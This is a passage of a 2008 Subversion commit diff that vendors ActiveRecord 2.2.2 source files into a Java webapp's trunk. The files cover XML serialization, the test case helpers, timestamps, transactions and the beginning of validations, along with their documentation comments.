+    #   firm.to_xml :include => [ :account, :clients ]
+    #
+    #   <?xml version="1.0" encoding="UTF-8"?>
+    #   <firm>
+    #     <id type="integer">1</id>
+    #     <rating type="integer">1</rating>
+    #     <name>37signals</name>
+    #     <clients type="array">
+    #       <client>
+    #         <rating type="integer">1</rating>
+    #         <name>Summit</name>
+    #       </client>
+    #       <client>
+    #         <rating type="integer">1</rating>
+    #         <name>Microsoft</name>
+    #       </client>
+    #     </clients>
+    #     <account>
+    #       <id type="integer">1</id>
+    #       <credit-limit type="integer">50</credit-limit>
+    #     </account>
+    #   </firm>
+    #
+    # To include deeper levels of associations pass a hash like this:
+    #
+    #   firm.to_xml :include => {:account => {}, :clients => {:include => :address}}
+    #   <?xml version="1.0" encoding="UTF-8"?>
+    #   <firm>
+    #     <id type="integer">1</id>
+    #     <rating type="integer">1</rating>
+    #     <name>37signals</name>
+    #     <clients type="array">
+    #       <client>
+    #         <rating type="integer">1</rating>
+    #         <name>Summit</name>
+    #         <address>
+    #           ...
+    #         </address>
+    #       </client>
+    #       <client>
+    #         <rating type="integer">1</rating>
+    #         <name>Microsoft</name>
+    #         <address>
+    #           ...
+    #         </address>
+    #       </client>
+    #     </clients>
+    #     <account>
+    #       <id type="integer">1</id>
+    #       <credit-limit type="integer">50</credit-limit>
+    #     </account>
+    #   </firm>
+    #
+    # To include any methods on the model being called use <tt>:methods</tt>:
+    #
+    #   firm.to_xml :methods => [ :calculated_earnings, :real_earnings ]
+    #
+    #   <firm>
+    #     # ... normal attributes as shown above ...
+    #     <calculated-earnings>100000000000000000</calculated-earnings>
+    #     <real-earnings>5</real-earnings>
+    #   </firm>
+    #
+    # To call any additional Procs use <tt>:procs</tt>. The Procs are passed a
+    # modified version of the options hash that was given to +to_xml+:
+    #
+    #   proc = Proc.new { |options| options[:builder].tag!('abc', 'def') }
+    #   firm.to_xml :procs => [ proc ]
+    #
+    #   <firm>
+    #     # ... normal attributes as shown above ...
+    #     <abc>def</abc>
+    #   </firm>
+    #
+    # Alternatively, you can yield the builder object as part of the +to_xml+ call:
+    #
+    #   firm.to_xml do |xml|
+    #     xml.creator do
+    #       xml.first_name "David"
+    #       xml.last_name "Heinemeier Hansson"
+    #     end
+    #   end
+    #
+    #   <firm>
+    #     # ... normal attributes as shown above ...
+    #     <creator>
+    #       <first_name>David</first_name>
+    #       <last_name>Heinemeier Hansson</last_name>
+    #     </creator>
+    #   </firm>
+    #
+    # As noted above, you may override +to_xml+ in your ActiveRecord::Base
+    # subclasses to have complete control about what's generated. The general
+    # form of doing this is:
+    #
+    #   class IHaveMyOwnXML < ActiveRecord::Base
+    #     def to_xml(options = {})
+    #       options[:indent] ||= 2
+    #       xml = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
+    #       xml.instruct! unless options[:skip_instruct]
+    #       xml.level_one do
+    #         xml.tag!(:second_level, 'content')
+    #       end
+    #     end
+    #   end
+    def to_xml(options = {}, &block)
+      serializer = XmlSerializer.new(self, options)
+      block_given? ? serializer.to_s(&block) : serializer.to_s
+    end
+
+    def from_xml(xml)
+      self.attributes = Hash.from_xml(xml).values.first
+      self
+    end
+  end
+
+  class XmlSerializer < ActiveRecord::Serialization::Serializer #:nodoc:
+    def builder
+      @builder ||= begin
+        options[:indent] ||= 2
+        builder = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
+
+        unless options[:skip_instruct]
+          builder.instruct!
+          options[:skip_instruct] = true
+        end
+
+        builder
+      end
+    end
+
+    def root
+      root = (options[:root] || @record.class.to_s.underscore).to_s
+      dasherize? ? root.dasherize : root
+    end
+
+    def dasherize?
+      !options.has_key?(:dasherize) || options[:dasherize]
+    end
+
+    def serializable_attributes
+      serializable_attribute_names.collect { |name| Attribute.new(name, @record) }
+    end
+
+    def serializable_method_attributes
+      Array(options[:methods]).inject([]) do |method_attributes, name|
+        method_attributes << MethodAttribute.new(name.to_s, @record) if @record.respond_to?(name.to_s)
+        method_attributes
+      end
+    end
+
+    def add_attributes
+      (serializable_attributes + serializable_method_attributes).each do |attribute|
+        add_tag(attribute)
+      end
+    end
+
+    def add_procs
+      if procs = options.delete(:procs)
+        [ *procs ].each do |proc|
+          proc.call(options)
+        end
+      end
+    end
+
+    def add_tag(attribute)
+      builder.tag!(
+        dasherize? ? attribute.name.dasherize : attribute.name,
+        attribute.value.to_s,
+        attribute.decorations(!options[:skip_types])
+      )
+    end
+
+    def add_associations(association, records, opts)
+      if records.is_a?(Enumerable)
+        tag = association.to_s
+        tag = tag.dasherize if dasherize?
+        if records.empty?
+          builder.tag!(tag, :type => :array)
+        else
+          builder.tag!(tag, :type => :array) do
+            association_name = association.to_s.singularize
+            records.each do |record|
+              record.to_xml opts.merge(
+                :root => association_name,
+                :type => (record.class.to_s.underscore == association_name ? nil : record.class.name)
+              )
+            end
+          end
+        end
+      else
+        if record = @record.send(association)
+          record.to_xml(opts.merge(:root => association))
+        end
+      end
+    end
+
+    def serialize
+      args = [root]
+      if options[:namespace]
+        args << {:xmlns=>options[:namespace]}
+      end
+
+      if options[:type]
+        args << {:type=>options[:type]}
+      end
+
+      builder.tag!(*args) do
+        add_attributes
+        procs = options.delete(:procs)
+        add_includes { |association, records, opts| add_associations(association, records, opts) }
+        options[:procs] = procs
+        add_procs
+        yield builder if block_given?
+      end
+    end
+
+    class Attribute #:nodoc:
+      attr_reader :name, :value, :type
+
+      def initialize(name, record)
+        @name, @record = name, record
+
+        @type  = compute_type
+        @value = compute_value
+      end
+
+      # There is a significant speed improvement if the value
+      # does not need to be escaped, as <tt>tag!</tt> escapes all values
+      # to ensure that valid XML is generated. For known binary
+      # values, it is at least an order of magnitude faster to
+      # Base64 encode binary values and directly put them in the
+      # output XML than to pass the original value or the Base64
+      # encoded value to the <tt>tag!</tt> method. It definitely makes
+      # no sense to Base64 encode the value and then give it to
+      # <tt>tag!</tt>, since that just adds additional overhead.
+      def needs_encoding?
+        ![ :binary, :date, :datetime, :boolean, :float, :integer ].include?(type)
+      end
+
+      def decorations(include_types = true)
+        decorations = {}
+
+        if type == :binary
+          decorations[:encoding] = 'base64'
+        end
+
+        if include_types && type != :string
+          decorations[:type] = type
+        end
+
+        if value.nil?
+          decorations[:nil] = true
+        end
+
+        decorations
+      end
+
+      protected
+        def compute_type
+          type = @record.class.serialized_attributes.has_key?(name) ? :yaml : @record.class.columns_hash[name].type
+
+          case type
+            when :text
+              :string
+            when :time
+              :datetime
+            else
+              type
+          end
+        end
+
+        def compute_value
+          value = @record.send(name)
+
+          if formatter = Hash::XML_FORMATTING[type.to_s]
+            value ? formatter.call(value) : nil
+          else
+            value
+          end
+        end
+    end
+
+    class MethodAttribute < Attribute #:nodoc:
+      protected
+        def compute_type
+          Hash::XML_TYPE_NAMES[@record.send(name).class.name] || :string
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/test_case.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/test_case.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/test_case.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,60 @@
+require "active_support/test_case"
+
+module ActiveRecord 
+  class TestCase < ActiveSupport::TestCase #:nodoc:
+    self.fixture_path               = FIXTURES_ROOT
+    self.use_instantiated_fixtures  = false
+    self.use_transactional_fixtures = true
+
+    def create_fixtures(*table_names, &block)
+      Fixtures.create_fixtures(FIXTURES_ROOT, table_names, {}, &block)
+    end
+
+    def assert_date_from_db(expected, actual, message = nil)
+      # SybaseAdapter doesn't have a separate column type just for dates,
+      # so the time is in the string and incorrectly formatted
+      if current_adapter?(:SybaseAdapter)
+        assert_equal expected.to_s, actual.to_date.to_s, message
+      else
+        assert_equal expected.to_s, actual.to_s, message
+      end
+    end
+
+    def assert_sql(*patterns_to_match)
+      $queries_executed = []
+      yield
+    ensure
+      failed_patterns = []
+      patterns_to_match.each do |pattern|
+        failed_patterns << pattern unless $queries_executed.any?{ |sql| pattern === sql }
+      end
+      assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map(&:inspect).join(', ')} not found."
+    end
+
+    def assert_queries(num = 1)
+      $queries_executed = []
+      yield
+    ensure
+      assert_equal num, $queries_executed.size, "#{$queries_executed.size} instead of #{num} queries were executed.#{$queries_executed.size == 0 ? '' : "\nQueries:\n#{$queries_executed.join("\n")}"}"
+    end
+
+    def assert_no_queries(&block)
+      assert_queries(0, &block)
+    end
+
+    def self.use_concurrent_connections
+      setup :connection_allow_concurrency_setup
+      teardown :connection_allow_concurrency_teardown
+    end
+
+    def connection_allow_concurrency_setup
+      @connection = ActiveRecord::Base.remove_connection
+      ActiveRecord::Base.establish_connection(@connection.merge({:allow_concurrency => true}))
+    end
+
+    def connection_allow_concurrency_teardown
+      ActiveRecord::Base.clear_all_connections!
+      ActiveRecord::Base.establish_connection(@connection)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/timestamp.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/timestamp.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/timestamp.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,41 @@
+module ActiveRecord
+  # Active Record automatically timestamps create and update operations if the table has fields
+  # named created_at/created_on or updated_at/updated_on.
+  #
+  # Timestamping can be turned off by setting
+  #   <tt>ActiveRecord::Base.record_timestamps = false</tt>
+  #
+  # Timestamps are in the local timezone by default but you can use UTC by setting
+  #   <tt>ActiveRecord::Base.default_timezone = :utc</tt>
+  module Timestamp
+    def self.included(base) #:nodoc:
+      base.alias_method_chain :create, :timestamps
+      base.alias_method_chain :update, :timestamps
+
+      base.class_inheritable_accessor :record_timestamps, :instance_writer => false
+      base.record_timestamps = true
+    end
+
+    private
+      def create_with_timestamps #:nodoc:
+        if record_timestamps
+          t = self.class.default_timezone == :utc ? Time.now.utc : Time.now
+          write_attribute('created_at', t) if respond_to?(:created_at) && created_at.nil?
+          write_attribute('created_on', t) if respond_to?(:created_on) && created_on.nil?
+
+          write_attribute('updated_at', t) if respond_to?(:updated_at)
+          write_attribute('updated_on', t) if respond_to?(:updated_on)
+        end
+        create_without_timestamps
+      end
+
+      def update_with_timestamps(*args) #:nodoc:
+        if record_timestamps && (!partial_updates? || changed?)
+          t = self.class.default_timezone == :utc ? Time.now.utc : Time.now
+          write_attribute('updated_at', t) if respond_to?(:updated_at)
+          write_attribute('updated_on', t) if respond_to?(:updated_on)
+        end
+        update_without_timestamps(*args)
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/transactions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/transactions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/transactions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,185 @@
+require 'thread'
+
+module ActiveRecord
+  # See ActiveRecord::Transactions::ClassMethods for documentation.
+  module Transactions
+    class TransactionError < ActiveRecordError # :nodoc:
+    end
+
+    def self.included(base)
+      base.extend(ClassMethods)
+
+      base.class_eval do
+        [:destroy, :save, :save!].each do |method|
+          alias_method_chain method, :transactions
+        end
+      end
+    end
+
+    # Transactions are protective blocks where SQL statements are only permanent
+    # if they can all succeed as one atomic action. The classic example is a
+    # transfer between two accounts where you can only have a deposit if the
+    # withdrawal succeeded and vice versa. Transactions enforce the integrity of
+    # the database and guard the data against program errors or database
+    # break-downs. So basically you should use transaction blocks whenever you
+    # have a number of statements that must be executed together or not at all.
+    # Example:
+    #
+    #   ActiveRecord::Base.transaction do
+    #     david.withdrawal(100)
+    #     mary.deposit(100)
+    #   end
+    #
+    # This example will only take money from David and give to Mary if neither
+    # +withdrawal+ nor +deposit+ raises an exception. Exceptions will force a
+    # ROLLBACK that returns the database to the state before the transaction was
+    # begun. Be aware, though, that the objects will _not_ have their instance
+    # data returned to their pre-transactional state.
+    #
+    # == Different Active Record classes in a single transaction
+    #
+    # Though the transaction class method is called on some Active Record class,
+    # the objects within the transaction block need not all be instances of
+    # that class. This is because transactions are per-database connection, not
+    # per-model.
+    #
+    # In this example a <tt>Balance</tt> record is transactionally saved even
+    # though <tt>transaction</tt> is called on the <tt>Account</tt> class:
+    #
+    #   Account.transaction do
+    #     balance.save!
+    #     account.save!
+    #   end
+    #
+    # Note that the +transaction+ method is also available as a model instance
+    # method. For example, you can also do this:
+    #
+    #   balance.transaction do
+    #     balance.save!
+    #     account.save!
+    #   end
+    #
+    # == Transactions are not distributed across database connections
+    #
+    # A transaction acts on a single database connection.  If you have
+    # multiple class-specific databases, the transaction will not protect
+    # interaction among them.  One workaround is to begin a transaction
+    # on each class whose models you alter:
+    #
+    #   Student.transaction do
+    #     Course.transaction do
+    #       course.enroll(student)
+    #       student.units += course.units
+    #     end
+    #   end
+    #
+    # This is a poor solution, but full distributed transactions are beyond
+    # the scope of Active Record.
+    #
+    # == Save and destroy are automatically wrapped in a transaction
+    #
+    # Both Base#save and Base#destroy come wrapped in a transaction that ensures
+    # that whatever you do in validations or callbacks will happen under the
+    # protected cover of a transaction. So you can use validations to check for
+    # values that the transaction depends on or you can raise exceptions in the
+    # callbacks to rollback, including <tt>after_*</tt> callbacks.
+    #
+    # == Exception handling and rolling back
+    #
+    # Also have in mind that exceptions thrown within a transaction block will
+    # be propagated (after triggering the ROLLBACK), so you should be ready to
+    # catch those in your application code.
+    #
+    # One exception is the ActiveRecord::Rollback exception, which will trigger
+    # a ROLLBACK when raised, but not be re-raised by the transaction block.
+    #
+    # *Warning*: one should not catch ActiveRecord::StatementInvalid exceptions
+    # inside a transaction block. StatementInvalid exceptions indicate that an
+    # error occurred at the database level, for example when a unique constraint
+    # is violated. On some database systems, such as PostgreSQL, database errors
+    # inside a transaction causes the entire transaction to become unusable
+    # until it's restarted from the beginning. Here is an example which
+    # demonstrates the problem:
+    #
+    #   # Suppose that we have a Number model with a unique column called 'i'.
+    #   Number.transaction do
+    #     Number.create(:i => 0)
+    #     begin
+    #       # This will raise a unique constraint error...
+    #       Number.create(:i => 0)
+    #     rescue ActiveRecord::StatementInvalid
+    #       # ...which we ignore.
+    #     end
+    #     
+    #     # On PostgreSQL, the transaction is now unusable. The following
+    #     # statement will cause a PostgreSQL error, even though the unique
+    #     # constraint is no longer violated:
+    #     Number.create(:i => 1)
+    #     # => "PGError: ERROR:  current transaction is aborted, commands
+    #     #     ignored until end of transaction block"
+    #   end
+    #
+    # One should restart the entire transaction if a StatementError occurred.
+    module ClassMethods
+      # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
+      def transaction(&block)
+        connection.increment_open_transactions
+
+        begin
+          connection.transaction(connection.open_transactions == 1, &block)
+        ensure
+          connection.decrement_open_transactions
+        end
+      end
+    end
+
+    # See ActiveRecord::Transactions::ClassMethods for detailed documentation.
+    def transaction(&block)
+      self.class.transaction(&block)
+    end
+
+    def destroy_with_transactions #:nodoc:
+      with_transaction_returning_status(:destroy_without_transactions)
+    end
+
+    def save_with_transactions(perform_validation = true) #:nodoc:
+      rollback_active_record_state! { with_transaction_returning_status(:save_without_transactions, perform_validation) }
+    end
+
+    def save_with_transactions! #:nodoc:
+      rollback_active_record_state! { transaction { save_without_transactions! } }
+    end
+
+    # Reset id and @new_record if the transaction rolls back.
+    def rollback_active_record_state!
+      id_present = has_attribute?(self.class.primary_key)
+      previous_id = id
+      previous_new_record = new_record?
+      yield
+    rescue Exception
+      @new_record = previous_new_record
+      if id_present
+        self.id = previous_id
+      else
+        @attributes.delete(self.class.primary_key)
+        @attributes_cache.delete(self.class.primary_key)
+      end
+      raise
+    end
+
+    # Executes +method+ within a transaction and captures its return value as a
+    # status flag. If the status is true the transaction is committed, otherwise
+    # a ROLLBACK is issued. In any case the status flag is returned.
+    #
+    # This method is available within the context of an ActiveRecord::Base
+    # instance.
+    def with_transaction_returning_status(method, *args)
+      status = nil
+      transaction do
+        status = send(method, *args)
+        raise ActiveRecord::Rollback unless status
+      end
+      status
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/validations.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/validations.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/lib/active_record/validations.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1061 @@
+module ActiveRecord
+  # Raised by <tt>save!</tt> and <tt>create!</tt> when the record is invalid.  Use the
+  # +record+ method to retrieve the record which did not validate.
+  #   begin
+  #     complex_operation_that_calls_save!_internally
+  #   rescue ActiveRecord::RecordInvalid => invalid
+  #     puts invalid.record.errors
+  #   end
+  class RecordInvalid < ActiveRecordError
+    attr_reader :record
+    def initialize(record)
+      @record = record
+      super("Validation failed: #{@record.errors.full_messages.join(", ")}")
+    end
+  end
+
+  # Active Record validation is reported to and from this object, which is used by Base#save to
+  # determine whether the object is in a valid state to be saved. See usage example in Validations.
+  class Errors
+    include Enumerable
+    
+    class << self
+      def default_error_messages
+        ActiveSupport::Deprecation.warn("ActiveRecord::Errors.default_error_messages has been deprecated. Please use I18n.translate('activerecord.errors.messages').")
+        I18n.translate 'activerecord.errors.messages'
+      end
+    end
+
+    def initialize(base) # :nodoc:
+      @base, @errors = base, {}
+    end
+
+    # Adds an error to the base object instead of any particular attribute. This is used
+    # to report errors that don't tie to any specific attribute, but rather to the object
+    # as a whole. These error messages don't get prepended with any field name when iterating
+    # with +each_full+, so they should be complete sentences.
+    def add_to_base(msg)
+      add(:base, msg)
+    end
+
+    # Adds an error message (+messsage+) to the +attribute+, which will be returned on a call to <tt>on(attribute)</tt>
+    # for the same attribute and ensure that this error object returns false when asked if <tt>empty?</tt>. More than one
+    # error can be added to the same +attribute+ in which case an array will be returned on a call to <tt>on(attribute)</tt>.
+    # If no +messsage+ is supplied, :invalid is assumed.
+    # If +message+ is a Symbol, it will be translated, using the appropriate scope (see translate_error).
+    def add(attribute, message = nil, options = {})
+      message ||= :invalid
+      message = generate_message(attribute, message, options) if message.is_a?(Symbol)
+      @errors[attribute.to_s] ||= []
+      @errors[attribute.to_s] << message
+    end
+
+    # Will add an error message to each of the attributes in +attributes+ that is empty.
+    def add_on_empty(attributes, custom_message = nil)
+      for attr in [attributes].flatten
+        value = @base.respond_to?(attr.to_s) ? @base.send(attr.to_s) : @base[attr.to_s]
+        is_empty = value.respond_to?(:empty?) ? value.empty? : false
+        add(attr, :empty, :default => custom_message) unless !value.nil? && !is_empty
+      end
+    end
+
+    # Will add an error message to each of the attributes in +attributes+ that is blank (using Object#blank?).
+    def add_on_blank(attributes, custom_message = nil)
+      for attr in [attributes].flatten
+        value = @base.respond_to?(attr.to_s) ? @base.send(attr.to_s) : @base[attr.to_s]
+        add(attr, :blank, :default => custom_message) if value.blank?
+      end
+    end
+    
+    # Translates an error message in it's default scope (<tt>activerecord.errrors.messages</tt>).
+    # Error messages are first looked up in <tt>models.MODEL.attributes.ATTRIBUTE.MESSAGE</tt>, if it's not there, 
+    # it's looked up in <tt>models.MODEL.MESSAGE</tt> and if that is not there it returns the translation of the 
+    # default message (e.g. <tt>activerecord.errors.messages.MESSAGE</tt>). The translated model name, 
+    # translated attribute name and the value are available for interpolation.
+    #
+    # When using inheritence in your models, it will check all the inherited models too, but only if the model itself
+    # hasn't been found. Say you have <tt>class Admin < User; end</tt> and you wanted the translation for the <tt>:blank</tt>
+    # error +message+ for the <tt>title</tt> +attribute+, it looks for these translations:
+    # 
+    # <ol>
+    # <li><tt>activerecord.errors.models.admin.attributes.title.blank</tt></li>
+    # <li><tt>activerecord.errors.models.admin.blank</tt></li>
+    # <li><tt>activerecord.errors.models.user.attributes.title.blank</tt></li>
+    # <li><tt>activerecord.errors.models.user.blank</tt></li>
+    # <li><tt>activerecord.errors.messages.blank</tt></li>
+    # <li>any default you provided through the +options+ hash (in the activerecord.errors scope)</li>
+    # </ol>
+    def generate_message(attribute, message = :invalid, options = {})
+
+      message, options[:default] = options[:default], message if options[:default].is_a?(Symbol)
+
+      defaults = @base.class.self_and_descendents_from_active_record.map do |klass| 
+        [ :"models.#{klass.name.underscore}.attributes.#{attribute}.#{message}", 
+          :"models.#{klass.name.underscore}.#{message}" ]
+      end
+      
+      defaults << options.delete(:default)
+      defaults = defaults.compact.flatten << :"messages.#{message}"
+
+      key = defaults.shift
+      value = @base.respond_to?(attribute) ? @base.send(attribute) : nil
+
+      options = { :default => defaults,
+        :model => @base.class.human_name,
+        :attribute => @base.class.human_attribute_name(attribute.to_s),
+        :value => value,
+        :scope => [:activerecord, :errors]
+      }.merge(options)
+
+      I18n.translate(key, options)
+    end
+
+    # Returns true if the specified +attribute+ has errors associated with it.
+    #
+    #   class Company < ActiveRecord::Base
+    #     validates_presence_of :name, :address, :email
+    #     validates_length_of :name, :in => 5..30
+    #   end
+    #
+    #   company = Company.create(:address => '123 First St.')
+    #   company.errors.invalid?(:name)      # => true
+    #   company.errors.invalid?(:address)   # => false
+    def invalid?(attribute)
+      !@errors[attribute.to_s].nil?
+    end
+
+    # Returns +nil+, if no errors are associated with the specified +attribute+.
+    # Returns the error message, if one error is associated with the specified +attribute+.
+    # Returns an array of error messages, if more than one error is associated with the specified +attribute+.
+    #
+    #   class Company < ActiveRecord::Base
+    #     validates_presence_of :name, :address, :email
+    #     validates_length_of :name, :in => 5..30
+    #   end
+    #
+    #   company = Company.create(:address => '123 First St.')
+    #   company.errors.on(:name)      # => ["is too short (minimum is 5 characters)", "can't be blank"]
+    #   company.errors.on(:email)     # => "can't be blank"
+    #   company.errors.on(:address)   # => nil
+    def on(attribute)
+      errors = @errors[attribute.to_s]
+      return nil if errors.nil?
+      errors.size == 1 ? errors.first : errors
+    end
+
+    alias :[] :on
+
+    # Returns errors assigned to the base object through +add_to_base+ according to the normal rules of <tt>on(attribute)</tt>.
+    def on_base
+      on(:base)
+    end
+
+    # Yields each attribute and associated message per error added.
+    #
+    #   class Company < ActiveRecord::Base
+    #     validates_presence_of :name, :address, :email
+    #     validates_length_of :name, :in => 5..30
+    #   end
+    #
+    #   company = Company.create(:address => '123 First St.')
+    #   company.errors.each{|attr,msg| puts "#{attr} - #{msg}" }
+    #   # => name - is too short (minimum is 5 characters)
+    #   #    name - can't be blank
+    #   #    address - can't be blank
+    def each
+      @errors.each_key { |attr| @errors[attr].each { |msg| yield attr, msg } }
+    end
+
+    # Yields each full error message added. So <tt>Person.errors.add("first_name", "can't be empty")</tt> will be returned
+    # through iteration as "First name can't be empty".
+    #
+    #   class Company < ActiveRecord::Base
+    #     validates_presence_of :name, :address, :email
+    #     validates_length_of :name, :in => 5..30
+    #   end
+    #
+    #   company = Company.create(:address => '123 First St.')
+    #   company.errors.each_full{|msg| puts msg }
+    #   # => Name is too short (minimum is 5 characters)
+    #   #    Name can't be blank
+    #   #    Address can't be blank
+    def each_full
+      full_messages.each { |msg| yield msg }
+    end
+
+    # Returns all the full error messages in an array.
+    #
+    #   class Company < ActiveRecord::Base
+    #     validates_presence_of :name, :address, :email
+    #     validates_length_of :name, :in => 5..30
+    #   end
+    #
+    #   company = Company.create(:address => '123 First St.')
+    #   company.errors.full_messages # =>
+    #     ["Name is too short (minimum is 5 characters)", "Name can't be blank", "Address can't be blank"]
+    def full_messages(options = {})
+      full_messages = []
+
+      @errors.each_key do |attr|
+        @errors[attr].each do |message|
+          next unless message
+
+          if attr == "base"
+            full_messages << message
+          else
+            #key = :"activerecord.att.#{@base.class.name.underscore.to_sym}.#{attr}" 
+            attr_name = @base.class.human_attribute_name(attr)
+            full_messages << attr_name + ' ' + message
+          end
+        end
+      end
+      full_messages
+    end 
+
+    # Returns true if no errors have been added.
+    def empty?
+      @errors.empty?
+    end
+
+    # Removes all errors that have been added.
+    def clear
+      @errors = {}
+    end
+
+    # Returns the total number of errors added. Two errors added to the same attribute will be counted as such.
+    def size
+      @errors.values.inject(0) { |error_count, attribute| error_count + attribute.size }
+    end
+
+    alias_method :count, :size
+    alias_method :length, :size
+
+    # Returns an XML representation of this error object.
+    #
+    #   class Company < ActiveRecord::Base
+    #     validates_presence_of :name, :address, :email
+    #     validates_length_of :name, :in => 5..30
+    #   end
+    #
+    #   company = Company.create(:address => '123 First St.')
+    #   company.errors.to_xml
+    #   # =>  <?xml version="1.0" encoding="UTF-8"?>
+    #   #     <errors>
+    #   #       <error>Name is too short (minimum is 5 characters)</error>
+    #   #       <error>Name can't be blank</error>
+    #   #       <error>Address can't be blank</error>
+    #   #     </errors>
+    def to_xml(options={})
+      options[:root] ||= "errors"
+      options[:indent] ||= 2
+      options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
+
+      options[:builder].instruct! unless options.delete(:skip_instruct)
+      options[:builder].errors do |e|
+        full_messages.each { |msg| e.error(msg) }
+      end
+    end
+    
+  end
+
+
+  # Please do have a look at ActiveRecord::Validations::ClassMethods for a higher level of validations.
+  #
+  # Active Records implement validation by overwriting Base#validate (or the variations, +validate_on_create+ and
+  # +validate_on_update+). Each of these methods can inspect the state of the object, which usually means ensuring
+  # that a number of attributes have a certain value (such as not empty, within a given range, matching a certain regular expression).
+  #
+  # Example:
+  #
+  #   class Person < ActiveRecord::Base
+  #     protected
+  #       def validate
+  #         errors.add_on_empty %w( first_name last_name )
+  #         errors.add("phone_number", "has invalid format") unless phone_number =~ /[0-9]*/
+  #       end
+  #
+  #       def validate_on_create # is only run the first time a new object is saved
+  #         unless valid_discount?(membership_discount)
+  #           errors.add("membership_discount", "has expired")
+  #         end
+  #       end
+  #
+  #       def validate_on_update
+  #         errors.add_to_base("No changes have occurred") if unchanged_attributes?
+  #       end
+  #   end
+  #
+  #   person = Person.new("first_name" => "David", "phone_number" => "what?")
+  #   person.save                         # => false (and doesn't do the save)
+  #   person.errors.empty?                # => false
+  #   person.errors.count                 # => 2
+  #   person.errors.on "last_name"        # => "can't be empty"
+  #   person.errors.on "phone_number"     # => "has invalid format"
+  #   person.errors.each_full { |msg| puts msg }
+  #                                       # => "Last name can't be empty\n" +
+  #                                       #    "Phone number has invalid format"
+  #
+  #   person.attributes = { "last_name" => "Heinemeier", "phone_number" => "555-555" }
+  #   person.save # => true (and person is now saved in the database)
+  #
+  # An Errors object is automatically created for every Active Record.
+  module Validations
+    VALIDATIONS = %w( validate validate_on_create validate_on_update )
+
+    def self.included(base) # :nodoc:
+      base.extend ClassMethods
+      base.class_eval do
+        alias_method_chain :save, :validation
+        alias_method_chain :save!, :validation
+      end
+
+      base.send :include, ActiveSupport::Callbacks
+      base.define_callbacks *VALIDATIONS
+    end
+
+    # Active Record classes can implement validations in several ways. The highest level, easiest to read,
+    # and recommended approach is to use the declarative <tt>validates_..._of</tt> class methods (and
+    # +validates_associated+) documented below. These are sufficient for most model validations.
+    #
+    # Slightly lower level is +validates_each+. It provides some of the same options as the purely declarative
+    # validation methods, but like all the lower-level approaches it requires manually adding to the errors collection
+    # when the record is invalid.
+    #
+    # At a yet lower level, a model can use the class methods +validate+, +validate_on_create+ and +validate_on_update+
+    # to add validation methods or blocks. These are ActiveSupport::Callbacks and follow the same rules of inheritance
+    # and chaining.
+    #
+    # The lowest level style is to define the instance methods +validate+, +validate_on_create+ and +validate_on_update+
+    # as documented in ActiveRecord::Validations.
+    #
+    # == +validate+, +validate_on_create+ and +validate_on_update+ Class Methods
+    #
+    # Calls to these methods add a validation method or block to the class. Again, this approach is recommended
+    # only when the higher-level methods documented below (<tt>validates_..._of</tt> and +validates_associated+) are
+    # insufficient to handle the required validation.
+    #
+    # This can be done with a symbol pointing to a method:
+    #
+    #   class Comment < ActiveRecord::Base
+    #     validate :must_be_friends
+    #
+    #     def must_be_friends
+    #       errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
+    #     end
+    #   end
+    #
+    # Or with a block which is passed the current record to be validated:
+    #
+    #   class Comment < ActiveRecord::Base
+    #     validate do |comment|
+    #       comment.must_be_friends
+    #     end
+    #
+    #     def must_be_friends
+    #       errors.add_to_base("Must be friends to leave a comment") unless commenter.friend_of?(commentee)
+    #     end
+    #   end
+    #
+    # This usage applies to +validate_on_create+ and +validate_on_update+ as well.
+    module ClassMethods
+      DEFAULT_VALIDATION_OPTIONS = {
+        :on => :save,
+        :allow_nil => false,
+        :allow_blank => false,
+        :message => nil
+      }.freeze
+
+      ALL_RANGE_OPTIONS = [ :is, :within, :in, :minimum, :maximum ].freeze
+      ALL_NUMERICALITY_CHECKS = { :greater_than => '>', :greater_than_or_equal_to => '>=',
+                                  :equal_to => '==', :less_than => '<', :less_than_or_equal_to => '<=',
+                                  :odd => 'odd?', :even => 'even?' }.freeze
+
+      # Validates each attribute against a block.
+      #
+      #   class Person < ActiveRecord::Base
+      #     validates_each :first_name, :last_name do |record, attr, value|
+      #       record.errors.add attr, 'starts with z.' if value[0] == ?z
+      #     end
+      #   end
+      #
+      # Options:
+      # * <tt>:on</tt> - Specifies when this validation is active (default is <tt>:save</tt>, other options <tt>:create</tt>, <tt>:update</tt>).
+      # * <tt>:allow_nil</tt> - Skip validation if attribute is +nil+.
+      # * <tt>:allow_blank</tt> - Skip validation if attribute is blank.
+      # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should
